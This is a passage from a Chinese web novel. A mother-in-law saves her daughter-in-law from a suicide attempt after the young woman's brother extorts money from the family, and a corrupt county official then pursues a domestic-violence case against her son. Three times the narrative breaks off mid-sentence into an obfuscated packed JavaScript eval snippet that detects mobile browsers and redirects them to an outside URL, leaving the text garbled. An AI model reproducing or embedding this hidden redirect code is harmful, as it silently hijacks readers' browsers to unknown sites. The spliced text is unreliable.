顾毅温柔的看着她点点头,他也不知道为什么能在这里停留那么久。 或许是为了那碗每日清晨的糙米茶,或许是为了她脑子里那些新奇的想法,又或许……只是因为她眼里的光,让他觉得,这世间的路,慢一点走,也无妨。 到了镇上,和顾毅分开后,秦嘉言没一点含糊,在镇上最有名的绸缎庄里,直接给三个儿媳妇每人挑了两身料子结实、颜色也鲜亮的衣裳,说是干活穿一身,歇着穿一身。还给每个儿媳妇选了一匹柔软的棉布,说她们有空的时候可以自己裁制几件里衣。 末了,又拐进一家银饰铺,掏出银子,给每人打了一个雕花的银手镯,往她们腕上一套,沉甸甸的。 “娘,这,太贵重了,我们要不起!”胡氏吓的赶紧把手镯褪下来还给秦嘉言。婆婆这也太大手笔了!要知道他们村里能带上银手镯的就没有几个人。他们村长媳妇前几年得了一个银镯子,还没有这个粗,乐的跟什么似的,整天在村里转悠显摆。 “是啊,娘,我不要这玩意,太贵了。”陈氏娘家虽然富裕,但也没买过这么粗的银镯子,顶多买一个银簪子戴戴,那都得惹得村里多少女人眼红了。 “要得起,怎么要不起?我们女人家的就要会打扮!”她把雕花手镯套回胡氏手腕上,“以前是我对不住你们,”秦嘉言看着三个女孩,眼眶有点热,“之前我糊涂,总让你们下地干活,还总挨那几个浑小子的打,没少受委屈。往后日子好了,我再不会亏待你们。我会把过去欠你们的都一点点的补回来!” 胡氏感动的直抹眼泪,用力的点点头,她以后也一定加倍对她好。 刘菇身子好了许多,但秦嘉言还是特意去药铺,给她抓了一个月的参片,叮嘱她日日泡水喝。 出了药铺,几个儿媳妇都各有想买的零碎,秦嘉言便说:“那我们就各自去转转,晌午头,镇东头老槐树下碰头。”还给她们每人一个小钱袋,居然是在家就准备好的,每个钱袋子里都有一大串铜钱。 秦嘉言自己去了常去的香料铺,正跟掌柜的核对着明天做卤煮要用的八角、桂皮、香叶,就听见外面一阵拉扯声。她探头一瞧,心猛地揪紧,居然是她的大儿媳妇胡金花,被个精瘦男人拽着胳膊,那男人嘴里还不干不净地念叨着什么。 秦嘉言当下就火了,把手里的纸包一丢,几步冲出去,扬手就给了那男人一巴掌,“啪”的一声脆响。 “哪来的混账东西!光天化日之下,敢欺负我李家的人!” 那男人被打懵了,刚要还手,看清是秦嘉言,眼神一怯,竟甩开胡氏的胳膊,一溜烟逃跑了。 秦嘉言正要追,胡氏却从后面拉住她,声音带着哭腔:“娘,娘别追了。” 秦嘉言这才回头细看,胡氏左边脸上,赫然印着几个红通通的巴掌印,嘴角还有点青肿。她心里咯噔一下,忙拉着胡氏到旁边僻静处,“你这是咋了?那人是谁?他为啥打你?” 胡氏低着头,手绞着衣角,眼泪噼里啪啦往下掉,就是不肯说话,只一个劲儿地摇头。 秦嘉言心里犯嘀咕,在原主的记忆里,胡氏嫁过来这些年,性子闷是闷了点,但绝不是那号水性杨花的人。 再说,李闻生最近对胡氏疼得紧,两口子好得蜜里调油,哪能出这种事?这里头肯定有古怪,秦嘉言没有再说话,暗暗留了心。 夜里,秦嘉言躺在炕上,翻来覆去的睡不着。胡氏下午那副模样,总在她眼前晃。 三更天刚过,院外忽然传来轻微的脚步声。秦嘉言屏住气,悄悄爬起来,凑到窗边,把窗户纸捅了个小缝往外看。 月光下,一个人影正往院门口那悄悄的挪,不是胡氏是谁?她怀里还抱着个鼓鼓囊囊的东西,看那样子,像是要往外走。 秦嘉言的心沉了下去。难不成, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055221|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是自己看走了眼?这胡金花,真要做啥出格的事?不能吧!这些日子李闻生对她的好,大家都能看在眼里,应该不是! 她来不及在多想,下床披了件外衣,悄没声地跟了出去。 胡氏没往镇上的方向走,反而绕到了村子最东头的破庙里。 那庙年久失修,梁上都结了蛛网。秦嘉言刚躲在树后,就见胡氏从怀里掏出一捆粗长的麻绳,抖开了,往房梁上扔了好几次,才缠住一根结实的。 秦嘉言头皮一麻,靠!她要上吊! “金花!你疯了!”秦嘉言大喊一声,冲过去一把抱住胡氏的腰,把她从凳子上拽了下来。 麻绳“咚”地掉在地上,胡氏像是被抽走了所有力气,瘫坐在地上,哇地一声哭了出来,哭得撕心裂肺。 “娘,娘啊!” 秦嘉言又惊又怕,蹲下来拍着她的背,“你这是干啥呀?有啥过不去的坎,跟我说啊!要死要活的,你让闻生咋办?让我咋办?你这个傻孩子!你让我说你什么好!” 胡氏哭了好一阵子,才抽抽噎噎地开口,声音哑得像破锣:“娘,实话告诉你吧,今天下午那个人,是我哥哥,亲哥!” 秦嘉言一愣,“那人是你哥?你咋不早说,他来干啥?为啥打你?” “他,他知道我们卖卤煮赚了钱,”她抹了把眼泪,指节都在抖,“他就来要钱,我说没有那么多,他就,他就抢了您刚给我买的银镯子。” 她顿了顿,哭得更凶了:“他还说,要是不给钱,就,就去府衙告闻生。说闻生以前打过我,我回娘家那几次,好多人都看见了,都能去作证。” 秦嘉言的脸一下子沉了下来,“他抢了你的镯子?真不是东西,你不要伤心,这是小事,大不了日后我再给你买就行了,不过他要告闻生?怎么回事?” “娘您不知道,”胡金花抓住秦嘉言的手,着急的指甲都掐进了她的肉里,“我哥说,按律例,丈夫无故殴打妻子,轻了要坐牢三个月,重了,重了是要流放充军的啊!” “闻生他,他现在对我多好啊,”胡氏眼泪又涌了上来,“他改了,真的改了。我们俩现在好好的,我不能让他去坐牢啊!” “可我娘家那边,就是个填不满的坑,”她声音里满是绝望,“我哥不光要钱,还要咱们家卤煮和金蛋的方子。我说方子是娘您的,我做不了主,他就打我,说不给就立马去告。” “我,我实在是没办法了,”胡氏捶着自己的胸口,“我不想让闻生坐牢,也不想让娘您为难。我活着,就是个累赘,不如死了干净。” 说着,她从贴身处掏出一张皱巴巴的纸,递给秦嘉言,“这是我下午在镇上,找识字的先生代写的。我说,我说都是被我娘家逼的,跟您和闻生,一点关系都没有。这样我死了他们就不能再讹你们了!” 秦嘉言接过那张纸,手气得发抖。她活了两世,见过不讲理的,没见过这么混账的!这哪是当哥的,分明是讨债的鬼! 她看着胡金花哭红的眼,心里又酸又疼,把纸往怀里一揣,把她抱在怀里:“傻孩子!啥坎儿过不去?有娘在,天塌不下来!他敢来闹,我就敢跟他拼了!这官司,他爱告就告,我倒要看看,官府是讲王法,还是讲他这无赖的歪理!” 27. 第 27 章 秦嘉言好不容易把胡氏哄好送回屋。胡氏把脸仔仔细细的洗了一遍才进去,她怕李闻生看出来她哭过。 秦嘉言在床上翻来覆去睡不着,一直在想这件事怎么办。她不怎么懂大梁国的律法,不知道是不是像胡氏大哥说的那样,虐打妻子最严重会被判流放。 要不明天她还是问问顾毅吧,让他帮忙去衙门上打听打听,是不是真的有这条律法,还是胡氏大哥瞎编的。 真是心烦,好不容易家里有些起色,老大李闻生也一天天眼见的变好,现在胡氏的大哥横插一杠子。这蜜里调油的小两口在生出些嫌隙可怎么好。 天刚微微亮,一夜未睡的秦嘉言就敲开了西屋的大门。 “顾毅,顾毅你睡醒了么?我有点急事想要问你。”她轻轻喊,生怕给其他人叫醒。 “吱呀”一声,门开了,顾毅早就穿戴整齐,头发上还滴着早上洗漱时沾上的水滴。他一向起的早,每天都在院里打上一段拳法后,大家才能陆续起来。 李玉生还好奇的跟着他学了几天,刚要放弃的时候,她还天天拎着他的耳朵,叫他起床跟顾毅练拳。 李玉生正蹲在地上穿鞋,见她娘这么早就来敲门,嘴里的哈欠都忘了打:“娘?你咋这时候来了?我们练拳的时间还没到呢!” 秦嘉言没理他,眼睛直勾勾盯着顾毅:“顾毅,我问你个事,你一定得跟我说实话。” 他看她焦急的样子,眉头微微蹙起,“怎么了?发生什么事这样急?” 她刚要开口,就看到李玉生在一旁竖着耳朵偷听,连忙把顾毅拉到后院。 “顾毅,我问你,”她挠挠鼻子有些尴尬的说:“要是有个人,我是说如果有个人,曾经对自己媳妇特别不好,总是非打即骂,但是现在改好了,和自己媳妇非常恩爱。但现在媳妇的娘家人知道了,想要告官,这样的情况会被怎么定罪?会流放吗?” 顾毅看着她的眼睛轻声在她耳边问:“你说的是李闻生吧!” 秦嘉言红了一下脸,锤了一下他的手臂,“真是什么都瞒不过你。你说大梁律法是不是真有那么一条,男人要是打了媳妇,就得被关大牢?甚者还要流放充军?” 顾毅紧皱着眉头,沉思半刻,“是有这么一条。家暴妻子,若伤情重些,按律当处三年以上徒刑;若是屡教不改,或是打残了人,就会被流放三千里。不过至今没人告过官,大家都当这条律法已经作废了!” 秦嘉言的脸“唰”地白了,往后踉跄了半步,扶住了旁边的桌子才站稳。 顾毅想伸手扶住她,思虑一下还是没伸出手,“你问这个干什么?你大儿媳妇的娘家找来了?” 秦嘉言眼圈一红,声音发颤,把之前胡氏的遭遇讲给他:“她哥说不给钱就要去衙门告状。说以前,以前李闻生没少打胡氏,他跟胡氏说,不把金蛋和卤煮的方子交出来,就要让李闻生蹲大牢。” “你说这闻生和胡氏刚刚过上好日子,怎么就这么多波折呢?昨天要不是我跟着,胡氏现在早就一根绳子吊死了!”她急得声音都劈了,“闻生之前那些混账事,就算被抓进去蹲大牢,我也没有二话,就是这样一来,肯定会影响他们两口的感情,这,这俩人才刚刚好起来。” 顾毅听完,慢慢走到旁边的椅子上坐下,指尖敲了敲膝盖:“胡氏自己不去告不就行了,难道她哥手里有证据?” 秦嘉言急得直跺脚,“是有人证,之前胡氏被打得狠了,回娘家求助的时候,左右邻居不少都看见了,只不过当时她娘家人都不管,看现在日子好过了,想来分一杯羹罢了。” 顾毅拿起桌上的茶壶,给秦嘉言倒了一杯水:“你先别着急,先喝杯水润润嗓子。” 秦嘉言接过他倒的水,一口气喝干了,“这李闻生现在确实改好了,他现在特别心疼胡氏,看见她干活,还会主动帮衬。人家小两口现在好的跟一个人似的,这他真要是被抓进去,胡氏该如何自处?律法就不能看在他后来变好的份上,松松口子?” 他摇了摇头,“大梁的律法认的是事实,不认后改的情分。只要当年的事属实存在,只要有人告到衙门,官府就得查。” 他顿了顿,看向秦嘉言,“但这件事也不是没有转圜的余地。若是胡氏咬死了不承认受过虐待,或是说伤情不重,官府没有实证,也不好轻易定罪。” 秦嘉言的眼里亮了亮,又很快暗下去:“可她哥是铁了心要闹。拿不到钱,他肯定不能甘心,我也寻思不行的话,就给他们点钱算了,但胡氏说她娘家就是个无底洞,就算这次给了,下回还是会拿这件事威胁!” 顾毅站起身,安慰的拍拍她的肩膀:“我认为胡氏的态度最关键。只要她咬死不松口,她哥就算告了,也未必能成。再者,去衙门递状子也得有由头,空口白牙说人家暴,官府未必会受理。” 秦嘉言还是担心的不行,听胡氏的意思,她大哥已经准备找人写状子了,要不她也不能这么着急就寻短见。 顾毅叹了口气,“这样吧,今天白天我去县衙一趟,贾胥和我们的交情不错,我先去探探他的口风。” 秦嘉言立刻往前一步,“我跟你一起去!” 顾毅把她扶到椅子上坐好,“你还信不过我么?瞧你这黑眼圈,想必是昨晚一宿都没合眼吧?你去休息一会,我打听到消息会马上回来告诉你的。” 秦嘉言摸了摸眼睛周围,脸“哄”的一下就红了起来。有,有那么明显么?这都被他瞧见了! 顾毅将秦嘉言送回到屋子休息,又指导李玉生扎好马步,就急匆匆的往镇上去了。 秦嘉言补了一觉,醒来时,就看到顾毅站在院子里等她,脸色阴沉沉的不言语。 “怎么了?不好办么?”秦嘉言立刻上前一步,看着他的眼睛问。 顾毅看着她眉头紧皱欲言又止,急得秦嘉言直拽他袖子,“你倒是说话啊!急死我了!情况怎么样?是不是不好办?” “我过去的时候没有看见贾大人,听人说他去京里述职去了,至少两个月才能回来。现在县衙里的事物都是由刘县丞负责。他这个人……”顾毅顿了一下,继续说:“我把玉佩拿给门卫,倒是成功的见到了周主簿,他跟我说胡氏的大哥已经把状子递上去了!” “什么!”秦嘉言后退一步,“怎么会这么快!” 顾毅从后面虚扶住她防止她摔倒。“不只如此,”他想了想,还是全盘托出:“他还告诉我,让我做好心理准备,刘县丞打算拿这事开刀,说要对这庄案子严判,重判!” 秦嘉言几乎要晕倒,这,她怎么和大儿媳妇交代啊!“我,我现在就让老大逃到后山去吧。”她有点急病乱投医的喊,“闻生,闻生哪去了!” 顾毅连忙按住她的肩膀:“秦娘子,你先别着急。”他向四周看了一眼,“我认为,当务之急,是先把这件事告诉他们两口子,也好让他们有个心理准备。” “周先生跟我说,他会拦住那些衙役,让他们午时再出发。也好留给我们一个准备时间。”他把秦嘉言按在凳子上,蹲下跟她仔细的说:“逃是不能逃的,先不说能逃到哪去,就是这刘县丞回头给你按一个私放逃犯的罪名,你也是跑不了的。” “那,赶紧把闻生他们叫过来吧。赶紧跟他说一下。” “闻生,金花,你们赶紧过来。”李闻生正蹲在灶台边劈柴,闻言动作一顿。“娘怎么了?这么着急?”他擦了擦手赶紧跑到他娘身边。 胡氏也从屋里走出来,手里还端着盆水,眼睛已经用冷水敷过了,不仔细看都看不出来哭过的样子。 秦嘉言看着胡氏,一时间竟然有点不好开口,“你,你大哥已经把状子递到县衙去了。” 胡氏手里的水盆"哐当"砸在地上,清水溅了满裤腿,眼泪"唰"就下来了。“大哥,大哥他还真去了,这可怎么办才好!” 李闻生有点二丈和尚摸不着头脑,他看着胡氏哭泣的样子,连忙拿自己的衣服袖子给她擦眼泪。“怎么了这是?大舅子干啥了?” 顾毅把他拉到旁边,快速的给他讲了之前发生的所有事,“......我的建议是不要逃,先去县衙看看,胡氏这边不出面,应该治不了你的大罪。” 李闻生猛地坐在地上,气的只拍大腿,“他凭啥告我?那些陈芝麻烂谷子的事,我,我......” “起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16065530|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”秦嘉言清脆的声音响起,“还不是你之前造的孽,你要是没做过,又怎么会让人拿捏住?要我说送你进去也好,就算赔了胡氏这么多年遭的罪!” “娘!”胡氏急得连忙拽住她的衣裳,“不能让闻生进去坐牢啊,闻生他现在真的变了。” 秦嘉言摇摇头,轻轻的拍着她的后背,转头对李闻生说:“老大,你也别瞪眼!这事我早就知道了。” “之前在集市上,她大哥就逼着她要钱,还要咱家的金蛋和卤煮方子,金花没有给他,还被他扇了好几个巴掌,就连我给她买的银镯子都被抢了去。” “啥?”李闻生眼睛瞪得更大了,“你们怎么不早告诉我这事。” 秦嘉言叹了口气,又看向胡氏,声音软了些,“昨儿后半夜,我听见屋外有动静,就跟了上去,你媳妇她自己跑到破庙里,拿根绳子要上吊,嘴里还念叨着‘不能拖累他’。还是我给拦了下来。” 胡氏脸一白,她没想到婆婆会把这件事说出来:“我,我知道我哥那性子,他就是个无底洞,早晚都会像今天这个样子的,我寻思我要是死了,还留了手书,他就算想告,也没有办法了。” “你真糊涂!”李闻生的声音突然拔高,眼圈也红了,“你要是有个三长两短,我活着还有啥意思?那些事本就是我的错,当年我浑,让你受了委屈,你现在还想替我扛?” 这时候,东屋的房门打开,陈氏拿着个木匣子从里面急匆匆的出来,“娘,大嫂,我都听见了。”她把木匣子放在胡氏的手上,“这是我这阵子存下的积蓄,还有娘给我买的的那个银手镯,你拿去给你大哥,让他别去告状了。” “这怎么能行,她大哥这就是明抢!”李金生抬脚从后院走过来,把木匣子丢回给陈氏。“你这次给他了,他下回再要呢?不如我们哥儿几个去给他绑过来,好好的教训一顿,看他还敢不敢!”说完他喊上老三,老四就要往外走。 “站住!你们还嫌惹的事不够多么!”秦嘉言眼疾手快,一把拉住李金生的胳膊,力气竟比他还大些,“你现在去有啥用?打起来反倒让他抓住把柄,说咱李家仗势欺人!” “那怎么办?难道就眼睁睁的看着大哥一会被官差带走!” 顾毅上前一步,用力捏住了李金生要挣扎的手腕,“我已经打听过了,那些衙役晌会午时从衙门出发,我约摸他们应该在有两刻钟就要到了。你现在去有什么用!” 顾毅放开他,走到李闻生跟前:“你不用害怕,一会我跟着你过去,你见了那些衙役别硬顶,好好说话,前些日子确实是你不对,但你现在改了,胡氏能作证,村里的老少爷们也能作证。” 他想了想又看向胡氏,“你有空回趟娘家,看看那边是个什么情形,你大哥是就要银子,还是想怎么着。不管他想要多少你都先应下,回头我们在商量。” 李闻生点头,喉结滚了滚:“好,我知道了,小舅舅,麻烦您跟着费心了。。” 秦嘉言拉过胡氏,掏了块帕子给她擦眼泪:“金花,你也别着急,一会我跟你去你娘家,放心,我不进去,就在村口那里等你,你可要坚强点,别再想不开,闻生还得靠你呢!” 胡氏吸了吸鼻子,攥紧帕子:“娘,你放心,我就算是不要娘家了,也会把闻生给救出来,大不了,大不了真流放了,我就跟着他一起去!” 她轻轻拍了拍胡氏的后背,“傻孩子,不会到那地步的,我合计也就是罚些银子的事,钱财都是身外之物,以后再赚就行了。” 顾毅让胡氏给李闻生准备几件衣服和吃食,想了想,又回屋取出贾县令之前给他的玉佩塞在他手里,“走吧,我跟你去迎迎那些衙役,我们态度好一些,他们应该不会给你上镣铐。这玉佩你拿好,万一哪个衙役想为难你,你就把这块玉佩亮出来。” 他转身看向秦嘉言,把她拉到一边小声的耳语:“一会去胡氏娘家之前,你先去趟村长家,把这事悄悄的告诉他,不要惊动别人,我相信村长应该能帮忙作证的。” 秦嘉言点点头,刚要说什么,院门外突然传来"砰砰砰"的敲门声,力道又重又急。 "开门!开门!县衙办差的!" 28. 第 28 章 胡氏立刻慌了神,连忙站起来用力拉住秦嘉言的衣角:“娘,他们怎么这么快就来了,怎么办?现在怎么办?” 秦嘉言按住胡氏,安抚的拍拍她的手,又抬眼看向李闻生,示意他去开门。 李闻生一开始还不觉得什么,听到衙役这么焦急的拍门声,瞬间觉得自己自的脚软的不像话。“来,来了,马,马上就来。” 他哆嗦蹒跚一步,就再也迈不开腿。顾毅连忙快走几步,直接越过他把大门打开。 “几位大人辛苦了,赶紧进来喝杯茶歇会。”顾毅一看领头的是他认识的衙役,立刻迎了上去。 那衙役一看是顾毅,连忙收起了严肃的脸,:“是顾先生呀,真是不好意思,这是李闻生家吧?我们这次来是要...” 还没等衙役说完顾毅连忙把他拉进院子里,他余光看到院子门口攒动的人群,连忙高声说到:“我知道,你们是要来问肥料的事情吧,来来来,进来喝口茶再说。” 在衙役奇怪的目光中,他轻声的跟着他嘀咕到:“我知道你们的来意,周先生已经都告诉我了,我还有点事想麻烦几位。”说完,他给每个衙役手里都塞了几块碎银。 “顾先生您真是太客气了!”领头的衙役把银子踹到怀里,笑呵呵的和他客气几句,“其实我们大家都不想来,可是你知道的,县令他回京述职去了,现在我们只能听刘县丞的。” “我懂,我懂,我哪能为难你们几个。”他抬手关上院门,隔绝了村里那些无聊往里窥视的人。“几位大人不用担心,我这正跟我的大外甥交代一下,让他好好跟你们走,就是...” 他顿了一下,拍了拍袍子上并不存在的灰继续说:“唉!真是家门不幸啊,让各位笑话了,但是所谓家丑不可外扬,以后我这外甥和外甥媳妇还要在这村里生活,您看能不能行个方便,就说他是跟着你们去县里做肥料,别说他是被抓的。” 领头的衙役看着顾毅想了想,这回他们要带走的人正是这个顾先生的外甥。听主簿周闲说,这个顾毅今年会下场参加秋闱,而且凭他的实力,肯定会一路考上进士,万一这人将来在朝堂上做了官也说不定,与其得罪他,还不如现在结个善缘,至少将来万一他当上大官也不会被他穿小鞋。 他朝顾毅鞠了一躬,“顾先生言重了,我懂你的意思,我们兄弟几个嘴很严,绝对不会往外乱说的。”他看了看李闻生拿着包裹要跟他们走的样子,又继续说到:“你放心,这一路上,我都不会对您外甥用枷锁的,不过,进了县衙,就不是我们能说了算了...” 他特意把顾毅拽到一边悄声的耳语:“那个刘县丞不好相与,我劝顾先生您要做好心理准备。” 顾毅点点头,立刻又塞给他一小块碎银,“多谢您的提醒,我会跟着一块去的,有什么事也好有个照应。” 衙役为难的接过银子,放在手里,“我只能让您送他到县衙门口,在往里面,就不太方便您进去了。这万一让刘县丞看见,我们哥儿几个都得被责罚。” 顾毅连忙朝他福了福:“放心,这些我懂,我会在附近找个客栈住下,绝对不会让你为难的。” 顾毅一路把李闻生送到县衙大牢,又想办法给周闲递了个消息,约他第二天在县里的酒楼一聚。 顾毅选的酒楼,并不是镇上最好的,但也略有一些自己的特色。这酒楼叫“唤香居”,原来是由一个旧驿站改的,两层木楼歪歪斜斜倚着老槐树,周闲踩上楼梯的时候还会‘咯吱’作响。 二楼的雅间挂着旧竹帘,风吹过就簌簌响,顾毅和秦嘉言早早就迎在了门口。 “周先生,谢谢您能来!”顾毅连忙躬身,双手交叠在袖中。 “顾先生客气了。”他还没来得及进去就从兜里掏出了一封信递给站在一旁的秦嘉言。“这是李闻生托我带给你的信,你放心,我已经把他安置在最好的牢房。” “多谢周先生。”她把周闲迎进了雅间,又连忙打开信,给胡氏看了一眼,就交到顾毅手里,让他帮忙读出来。毕竟在原主没有读过书,不可能识字。 顾毅快速扫过一眼信件,直接告诉她们,“李闻生说自己在牢里待的很好,周先生十分照顾他,给他安排的单独牢房,不会受其他人欺负。” 秦嘉言点点头,站起来给周闲福了个大礼,“真是太感谢周先生了,我都不知道说什么好了。” 周闲连忙摆摆手让她们坐下,“我能帮的也只有这些了,刘县丞说三天后会公开审理此案,你们想出什么办法没有?” “唉,我们能有什么法子。”秦嘉言叹了一口气,拉过胡氏的手,拍了拍,“胡氏娘家和村长那里我们都去过了,村长倒是还好,说会帮忙作证,说李闻生现在确实变好了。但她娘家…” 胡氏的眼泪一下子就流了出来,低下头趴在了秦嘉言的肩上。“我哥,我哥说他也是受人指点,才想到这一层,还说,还说…” “说什么?”周闲急忙问。“他怎么说的你都一字一句学来,我们也好帮你想办法!” “我哥他说,指点他的高人认识县丞老爷,说除非我们能拿的出2000两,他才能把案子撤回。而且还得把金蛋和卤煮的方子都交给他!” “2000两!他怎么不去抢!”周闲惊得站起来看着她,想了想又坐下去,嗤笑一声,“呵!什么高人,这一看就是刘县丞那老狗搞得鬼!” 顾毅皱着眉头,给周闲倒了杯茶,“周先生,此话怎讲?” “哎呦!”周闲拍了下大腿,小声的说:“你们不知道,贾县令还没来的时候,这个刘县丞就在这个县里一手遮天!” 他抿了口茶,继续说到:“他叫刘舫,是总兵大人的干儿子,他…”他抬头看了一眼门关着,又把声音放低了一些:“他手底下养了一群打手,欺男霸女的事没少干,平时惯会找有嫌隙的人家挑拨,让人去投状子告官,然后用钱私了,银两他要分七成。” “七成!”秦嘉言用力的锤了一下桌子,“县里怎么会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088108|176884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有这样蛀虫!这么久了,就没人能治治他?” “谁敢?贾大人在的时候他还能收敛一些。”周闲无奈的摇摇头,继续说到:“你有所不知,贾大人没来之前,前面的县令大人和他是一类货色。两个人同流合污,可坑死了县里的老百姓。那个时候,你可知道县中有多少的百姓被他们逼的跳河。” 顾毅和秦嘉言对视一眼一脸凝重,现在贾大人在京中不能及时赶回来,他们的处境太难了。 “就,就真的没有别的办法吗?2000两银子我们真的拿不出来。”胡氏一脸焦急的问。 周闲低着头思考了很久,摇摇头:“之前也有镇上的百姓觉得他做的太过分,要去京中告状。可,可是……”他把声音又压低了一些缓缓的说:“那些人还没走出平安镇,就被这里的总兵府侍卫拿下,说他们是通敌卖国,直接被打了50大板,流放三千里,那些人在路上就已经死光了。” 顾毅隐忍攥起了拳头,平安镇离京城很远,总兵在这里可以说是天高皇帝远,就连县令平时对他也有三分忌惮,别说他们这些无权无势的平民百姓了,肯定不能硬刚。 要是他之前早点参加科考就好了,现在也许能谋个一官半职也不能如此任人欺凌。 “胡氏,你先回房间等我,我还有别的事情要跟周大人讲。”秦嘉言想了一下,放开胡氏的手,让她先回房里去。 胡氏一走,她就立刻从怀里拿出一个银簪,“周先生、顾毅我倒是有一个主意,而且多半能成。”她把簪子放在桌子上倒了一杯茶,一口气喝下,把他们两人叫到跟前把他的计划说了出来。 “不行,我不同意。”顾毅立刻皱起眉头:“这样太危险了,而且你肯定会受伤。” 秦嘉言没有看他,反而把头转向了周闲,“周先生,你说实话这个主意怎么样?我认为这是唯一能解这次之局的最好办法。” 周闲点点头刚要说行,就看到了顾毅阴沉的脸,话到嘴边又咽了下去。 “这事儿就这么定了。”秦嘉言不看顾毅反对的眼神,拍桌子决定。 “不行!我绝对不同意!”顾毅用眼睛用力的瞪着秦嘉言,“而且他们也肯定不会!” “同不同意也没有用!”秦嘉言站起来掐腰回瞪他,“我就这么办了!你有这些时间,还不如想一想接下来,咱们怎么怎么能让事情圆满一些!” “你!”顾毅有点失去理智,生气上前,一把夺过她手中茶杯,狠狠摔在地上。 秦嘉言扬手就是一巴掌抽过去,“我告诉你,我就这么做了,你要真想为我好,还不如现在就出去打点一番,也好让我的心思没白费。” 顾毅捂着脸惊讶的看着她,额角青筋突突直跳,他知道秦嘉言一旦做出决定,就不可能在改变注意,他生气的摔上门离开了房间。 秦嘉言盯着他离开的方向,摇了摇头,转身陪自己又拿了个茶杯,倒上水,敬了在一旁看呆的周闲一杯茶,“周先生,这件事还得麻烦您…” 29. 第 29 章 平安镇县衙的鼓声刚响过三下,秦嘉言和顾毅就带着胡氏踏进了那扇红色的大门。顾毅还在跟秦嘉言生气,抿着嘴唇不说话。胡氏的手撰的很紧,微微颤抖,秦嘉言的汗水也打湿了她的衣襟。 公堂上方挂着块“明镜高悬”的牌匾,秦嘉言瞅着那四个字,心里头七上八下的。她和顾毅带着胡氏,并没有走进内门,而是先站在了人群的最前端处探着头往里看。 正前方的桌子上坐着的就是那个县丞刘舫,秦嘉言抬头一看,正撞见他正用小拇指抠着耳朵眼,抠完又往靴底上蹭了蹭。 这刘舫生得非常不周正,脑袋和下巴尖得像个纺锤,两颊往里凹着,鼻子下头那撮胡子还泛着油光。身上的官袍非常崭新,可胸口处仔细看的话,就发现那不是花纹,而是不知道从哪蹭到的一大块油渍。 “带犯人李闻生!”刘县丞的声音十分尖细,他把惊堂木往案上用力一撂,声音振的周围昏昏欲睡的衙役们一个激灵。 没一会,李闻生就被几个衙役带了出来了。三天不见,他整个人就好像老了好几岁,身上脸上虽然没有伤痕,但他就像被人抽去一根骨头一样,精神气全散了。 他原本挺直的脊背如今微微佝偻着,头也抬不起来,额前的乱发黏成几柳遮住了眼睛,下巴上冒出了的青色胡茬,显得又憔悴又狼狈。 为首的衙役把他用力的一按,“咚”的一声,李闻生的膝盖重重的磕在了地上。 胡氏死死攥着手里的布帕,指节都泛了白。她不敢走上前,也不敢出声,只能一瞬不瞬地盯着李闻生。心口像是被什么东西堵住了,又酸又胀,眼泪在眼眶不停的打转。 胡氏的大哥胡中大站在一旁,身上穿着缝着两块蓝色大补丁的短褂,两个手攒在一起,谄媚的看着上面坐着的刘县丞。 刘舫拿起案上的卷宗,慢悠悠地翻着,手指头在纸上划来划去,半天不说话。公堂里静得能听见头发掉落的声音,李闻生把头埋得更低,肩膀微微发颤。 “李闻生!”刘舫终于开了口,把卷宗往桌上一扔,用手指着他,“你可知本官今日为何要审你?!” “回大人,是……是因为草民先前对发妻不好的事。”李闻生的声音有点发飘,偷偷抬眼看着上面的人。 “不好?呵呵,什么叫不好?”刘舫冷笑一声,身子往前探了探,“本官问你,你是不是曾对胡氏动过手?而且不止一次吧?” 李闻生猛地抬起头看向刘舫,脸涨得通红:“大人,大人明鉴,我……我以前是浑,是做的不对,可我现在改了!我真改了!不信你问问我媳妇,我真的和从前不一样了,真的大人!” 刘舫“嗤”的笑了一声:“你改了?改了以前的罪就不算了?咱们大梁律法摆在这儿,家暴妻女,轻则坐牢三月,重则流放三千里。你说改了就改了?那律法岂不成了摆设?” 他用力的拍了一下桌子,唾沫星子都快喷到堂下,“难道说,杀了人之后,一句改了,就能既往不咎?真是痴人说梦!李闻生!你到底认不认罪!再这样死鸭子嘴硬,小心本官大刑伺候!” 李闻生吓的肩膀一哆嗦,刚想说我认,就被秦嘉言的话抢了过去,“慢着!” 秦嘉言从人群前面慢慢的走出来,走之前还在胡氏耳边轻声的交代了一句:“不管一会发生什么,你都要配合我说,千万不能和我的意思相背,不然我们都会有杀身之祸!” 胡氏紧张的点点头,目送着秦嘉言走上前去。顾毅刚想拉住她的衣角,再劝说一句,他张了张口,没有说话,最终还是放开手,转身快速离开了人群。 